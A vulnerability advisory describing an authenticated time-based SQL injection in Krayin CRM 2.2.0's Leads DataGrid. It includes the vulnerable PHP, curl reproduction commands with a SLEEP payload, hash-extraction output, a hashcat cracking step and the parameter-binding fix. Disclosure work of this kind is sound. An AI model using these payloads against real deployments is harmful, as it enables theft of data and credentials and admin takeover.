Krayin CRM 2.2.0 contains an authenticated blind time-based SQL injection in the Leads DataGrid. The rotten_lead[in] request parameter is concatenated directly into a havingRaw() expression without parameter binding, exposing the database to byte-by-byte extraction by any authenticated staff user — including the lowest-privilege Sales Rep role. The most impactful target row is the bcrypt password hash of the primary admin account, recoverable in roughly fifteen minutes against a localhost install.
The bug
The sink is packages/Webkul/Admin/src/DataGrids/Lead/LeadDataGrid.php, line 89-91:
if (! is_null(request()->input('rotten_lead.in'))) {
$queryBuilder->havingRaw(
$tablePrefix.'rotten_lead = '.request()->input('rotten_lead.in')
);
}rotten_lead[in] is concatenated directly into HAVING with no binding and no type coercion. The endpoint is reachable as any authenticated admin-panel user at GET /admin/leads with X-Requested-With: XMLHttpRequest, which routes LeadController::index() (line 66) to datagrid(LeadDataGrid::class)->process().
There is no role-level gate on this specific filter beyond the standard Bouncer "user" middleware, so the lowest-privilege staff role reaches the sink.
Reproduction
Verified live on a stock Krayin 2.2.0 Docker install, authenticated as a non-admin Sales Rep with five leads visible to the session.
Baseline:
time curl -sS -b "$JAR" -H "X-Requested-With: XMLHttpRequest" -o /dev/null \
"http://target/admin/leads?pipeline_id=1&rotten_lead%5Bin%5D=1"
# real 0m0.028sTime-based oracle (SLEEP(2) × five matched rows = ~10s):
time curl -sS -b "$JAR" -H "X-Requested-With: XMLHttpRequest" -o /dev/null \
"http://target/admin/leads?pipeline_id=1&rotten_lead%5Bin%5D=1%20OR%20SLEEP(2)"
# real 0m10.024sA binary-search extractor recovers the admin bcrypt hash byte-by-byte:
[+] calibrating oracle
baseline=0.01s sleep_payload=3.02s
[+] extracting: SELECT password FROM users WHERE id=1 LIMIT 1
[01] '$' so far: $
[02] '2' so far: $2
...
[60] '.' so far: $2y$10$TOUeqljAUhpipQJOn2aGg...
Full PoC script (poc_sqli.py) — takes the login URL plus staff creds and walks the extraction automatically — lives in the Bytium advisory bundle.
Impact
- Full database read. Any column the running MySQL/MariaDB user can read is recoverable through the oracle, byte by byte.
- Admin compromise via offline crack. The recovered bcrypt hash feeds straight into
hashcat -m 3200. If the deployment's admin password is anything weaker than a passphrase, the attacker logs into the admin panel through the normal UI — no webshell, no anomalous file writes, just a legitimate-looking session. - Stealth. The endpoint is normally noisy with DataGrid traffic, so injection requests blend with regular pagination/filter activity unless the deployment is running query-pattern detection.
The bug is exploitable by every staff role; the access-control model around view_permission is irrelevant once the attacker reaches havingRaw.
Fix
One-line correct fix in LeadDataGrid::prepareQueryBuilder:
$queryBuilder->havingRaw(
$tablePrefix.'rotten_lead = ?',
[(int) request()->input('rotten_lead.in')]
);The integer cast is enough on its own because rotten_lead is a boolean-like flag (the UI only ever sends 0 or 1). For richer filters elsewhere in the same DataGrid family, prefer having() with a column whitelist over havingRaw() so identifier quoting is automatic.
Timeline
- 2026-05-04 — Bug discovered during audit of Krayin CRM 2.2.0.
- 2026-05-07 — Vendor notified by email with 7-day disclosure deadline.
- 2026-05-16 — Coordinated-disclosure deadline. If no fix or vendor engagement by this point, advisory and CVE submission go public.
Credit
Discovered and reported by Jobyer Ahmed — Offensive Security Researcher.